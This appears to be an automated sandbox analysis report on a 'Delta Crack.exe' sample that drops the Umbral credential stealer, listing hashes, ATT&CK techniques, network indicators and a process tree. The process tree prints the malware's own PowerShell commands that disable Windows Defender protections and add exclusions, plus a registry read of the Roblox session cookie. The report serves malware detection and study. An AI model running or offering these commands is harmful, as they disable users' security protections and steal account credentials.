umbral | 9aef7a2f101a0ee9126a42195cd4d646aa8af678efea884617c67f1d4ba38ac0

Analysis

max time kernel
17s
max time network
19s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
12/04/2025, 10:25

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General

Target

Delta Crack.exe
Size

259KB
MD5

31ad590c8b916b8fd2940c88cb4ec5e1
SHA1

b4fefbb7baf5e5f62fa7cddd7ac1cf2e02e57aca
SHA256

9aef7a2f101a0ee9126a42195cd4d646aa8af678efea884617c67f1d4ba38ac0
SHA512

ec23dc58cf781962cfc07c373a4c4b02bd3a620f1557c8c2901dc26917876f30aba73b765c4ced6bf24f8714a21221804928d7b85d5dbb22652baf1072a19ffc
SSDEEP

6144:RlloZMHrIkd8g+EtXHkv/iD4cOICli8e1mhOj+iW:poZIL+EP8b6BjzW

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 3 IoCs

resource	yara_rule
behavioral1/files/0x00040000000227be-4.dat	family_umbral
behavioral1/memory/4032-11-0x0000000000400000-0x0000000000448000-memory.dmp	family_umbral
behavioral1/memory/1828-13-0x000001C22D090000-0x000001C22D0D0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5964	powershell.exe
4844	powershell.exe
5024	powershell.exe
3424	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\International\Geo\Nation	Delta Crack.exe

Executes dropped EXE 1 IoCs

pid	Process
1828	Umbral.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
35	discord.com
41	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
11	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Delta Crack.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4672	wmic.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
5964	powershell.exe
5964	powershell.exe
4844	powershell.exe
4844	powershell.exe
5024	powershell.exe
5024	powershell.exe
1328	powershell.exe
1328	powershell.exe
3424	powershell.exe
3424	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1828	Umbral.exe
Token: SeDebugPrivilege	5964	powershell.exe
Token: SeDebugPrivilege	4844	powershell.exe
Token: SeDebugPrivilege	5024	powershell.exe
Token: SeDebugPrivilege	1328	powershell.exe
Token: SeIncreaseQuotaPrivilege	5436	wmic.exe
Token: SeSecurityPrivilege	5436	wmic.exe
Token: SeTakeOwnershipPrivilege	5436	wmic.exe
Token: SeLoadDriverPrivilege	5436	wmic.exe
Token: SeSystemProfilePrivilege	5436	wmic.exe
Token: SeSystemtimePrivilege	5436	wmic.exe
Token: SeProfSingleProcessPrivilege	5436	wmic.exe
Token: SeIncBasePriorityPrivilege	5436	wmic.exe
Token: SeCreatePagefilePrivilege	5436	wmic.exe
Token: SeBackupPrivilege	5436	wmic.exe
Token: SeRestorePrivilege	5436	wmic.exe
Token: SeShutdownPrivilege	5436	wmic.exe
Token: SeDebugPrivilege	5436	wmic.exe
Token: SeSystemEnvironmentPrivilege	5436	wmic.exe
Token: SeRemoteShutdownPrivilege	5436	wmic.exe
Token: SeUndockPrivilege	5436	wmic.exe
Token: SeManageVolumePrivilege	5436	wmic.exe
Token: 33	5436	wmic.exe
Token: 34	5436	wmic.exe
Token: 35	5436	wmic.exe
Token: 36	5436	wmic.exe
Token: SeIncreaseQuotaPrivilege	5436	wmic.exe
Token: SeSecurityPrivilege	5436	wmic.exe
Token: SeTakeOwnershipPrivilege	5436	wmic.exe
Token: SeLoadDriverPrivilege	5436	wmic.exe
Token: SeSystemProfilePrivilege	5436	wmic.exe
Token: SeSystemtimePrivilege	5436	wmic.exe
Token: SeProfSingleProcessPrivilege	5436	wmic.exe
Token: SeIncBasePriorityPrivilege	5436	wmic.exe
Token: SeCreatePagefilePrivilege	5436	wmic.exe
Token: SeBackupPrivilege	5436	wmic.exe
Token: SeRestorePrivilege	5436	wmic.exe
Token: SeShutdownPrivilege	5436	wmic.exe
Token: SeDebugPrivilege	5436	wmic.exe
Token: SeSystemEnvironmentPrivilege	5436	wmic.exe
Token: SeRemoteShutdownPrivilege	5436	wmic.exe
Token: SeUndockPrivilege	5436	wmic.exe
Token: SeManageVolumePrivilege	5436	wmic.exe
Token: 33	5436	wmic.exe
Token: 34	5436	wmic.exe
Token: 35	5436	wmic.exe
Token: 36	5436	wmic.exe
Token: SeIncreaseQuotaPrivilege	5132	wmic.exe
Token: SeSecurityPrivilege	5132	wmic.exe
Token: SeTakeOwnershipPrivilege	5132	wmic.exe
Token: SeLoadDriverPrivilege	5132	wmic.exe
Token: SeSystemProfilePrivilege	5132	wmic.exe
Token: SeSystemtimePrivilege	5132	wmic.exe
Token: SeProfSingleProcessPrivilege	5132	wmic.exe
Token: SeIncBasePriorityPrivilege	5132	wmic.exe
Token: SeCreatePagefilePrivilege	5132	wmic.exe
Token: SeBackupPrivilege	5132	wmic.exe
Token: SeRestorePrivilege	5132	wmic.exe
Token: SeShutdownPrivilege	5132	wmic.exe
Token: SeDebugPrivilege	5132	wmic.exe
Token: SeSystemEnvironmentPrivilege	5132	wmic.exe
Token: SeRemoteShutdownPrivilege	5132	wmic.exe
Token: SeUndockPrivilege	5132	wmic.exe
Token: SeManageVolumePrivilege	5132	wmic.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 4032 wrote to memory of 1828	4032	Delta Crack.exe	88
PID 4032 wrote to memory of 1828	4032	Delta Crack.exe	88
PID 1828 wrote to memory of 5964	1828	Umbral.exe	90
PID 1828 wrote to memory of 5964	1828	Umbral.exe	90
PID 1828 wrote to memory of 4844	1828	Umbral.exe	92
PID 1828 wrote to memory of 4844	1828	Umbral.exe	92
PID 1828 wrote to memory of 5024	1828	Umbral.exe	94
PID 1828 wrote to memory of 5024	1828	Umbral.exe	94
PID 1828 wrote to memory of 1328	1828	Umbral.exe	96
PID 1828 wrote to memory of 1328	1828	Umbral.exe	96
PID 1828 wrote to memory of 5436	1828	Umbral.exe	99
PID 1828 wrote to memory of 5436	1828	Umbral.exe	99
PID 1828 wrote to memory of 5132	1828	Umbral.exe	102
PID 1828 wrote to memory of 5132	1828	Umbral.exe	102
PID 1828 wrote to memory of 5172	1828	Umbral.exe	104
PID 1828 wrote to memory of 5172	1828	Umbral.exe	104
PID 1828 wrote to memory of 3424	1828	Umbral.exe	106
PID 1828 wrote to memory of 3424	1828	Umbral.exe	106
PID 1828 wrote to memory of 4672	1828	Umbral.exe	108
PID 1828 wrote to memory of 4672	1828	Umbral.exe	108

C:\Users\Admin\AppData\Local\Temp\Delta Crack.exe
"C:\Users\Admin\AppData\Local\Temp\Delta Crack.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4032
- C:\Users\Admin\AppData\Local\Temp\Umbral.exe
  "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1828
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5964
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4844
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5024
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1328
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5436
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5132
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:5172
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3424
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:4672

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
454c5c4b128d34aee2eb765f2a9c0aa9

SHA1
4b6e92db79d964f604fd6b261b3b19ede2aea8a5

SHA256
e1e65d1697b9ac59805f677cbc8eec623a899b75b1389354f0948ad3c1513772

SHA512
17b4e146ef4f8862d06ac975204cca9ef9b077420256df92d94409715b18efb4dc63879154c1c234317a169ac63024ed43b5cb52473882dc46c588af089f25d6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
c65738617888921a153bd9b1ef516ee7

SHA1
5245e71ea3c181d76320c857b639272ac9e079b1

SHA256
4640ba4001fd16a593315299cbdd4988dc2c7075820687f1018aac40aca95c26

SHA512
2e2a0ebd93f9d8dd07a7599054bce232683e9add9a35e77b584618040bcfd84a42545352519ec4736cc379002210b6f3ed2d905591c6925c0981b0392b495bfa

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
6317adf4fbc43ea2fd68861fafd57155

SHA1
6b87c718893c83c6eed2767e8d9cbc6443e31913

SHA256
c1ead17eef37b4b461cedc276504a441489e819c7f943037f2001966aeec90af

SHA512
17229aae8622e4bfc3caaac55684f7d4ccd3162af5919c851b1d8ac4060b6bb7b75044ecee116523d05acb55197dcb60780958f629450edef386f1e6f65f49f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\Umbral.exe

Filesize
229KB

MD5
e8e8fc2e1c6e6928d0be487af6aac90f

SHA1
2fc57d734ac2250839ecc52c1d65f539595375a1

SHA256
b79006b5acbe80aac3c6252793fa5291a88968dc12465ef97c5c18f203751259

SHA512
f2a88231ff245a6eb25c28fe6e57c91b08e597f162df12e704614e40405b269ed19b78da2ca7127645c878af22ac9113e20dd5196ef12d2589acc7c9e6cc33ed

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0yr1bpwb.ceb.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1828-14-0x00007FF908C40000-0x00007FF909701000-memory.dmp

Filesize
10.8MB

Download
memory/1828-82-0x000001C247770000-0x000001C24777A000-memory.dmp

Filesize
40KB

Download
memory/1828-101-0x000001C247880000-0x000001C247A29000-memory.dmp

Filesize
1.7MB

Download
memory/1828-83-0x000001C247A30000-0x000001C247A42000-memory.dmp

Filesize
72KB

Download
memory/1828-102-0x00007FF908C40000-0x00007FF909701000-memory.dmp

Filesize
10.8MB

Download
memory/1828-13-0x000001C22D090000-0x000001C22D0D0000-memory.dmp

Filesize
256KB

Download
memory/1828-44-0x000001C2477B0000-0x000001C247826000-memory.dmp

Filesize
472KB

Download
memory/1828-45-0x000001C247830000-0x000001C247880000-memory.dmp

Filesize
320KB

Download
memory/1828-46-0x000001C247740000-0x000001C24775E000-memory.dmp

Filesize
120KB

Download
memory/1828-12-0x00007FF908C43000-0x00007FF908C45000-memory.dmp

Filesize
8KB

Download
memory/4032-11-0x0000000000400000-0x0000000000448000-memory.dmp

Filesize
288KB

Download
memory/5964-15-0x00007FF908C40000-0x00007FF909701000-memory.dmp

Filesize
10.8MB

Download
memory/5964-30-0x00007FF908C40000-0x00007FF909701000-memory.dmp

Filesize
10.8MB

Download
memory/5964-23-0x0000014EC7A30000-0x0000014EC7A52000-memory.dmp

Filesize
136KB

Download
memory/5964-17-0x00007FF908C40000-0x00007FF909701000-memory.dmp

Filesize
10.8MB

Download
memory/5964-16-0x00007FF908C40000-0x00007FF909701000-memory.dmp

Filesize
10.8MB

Download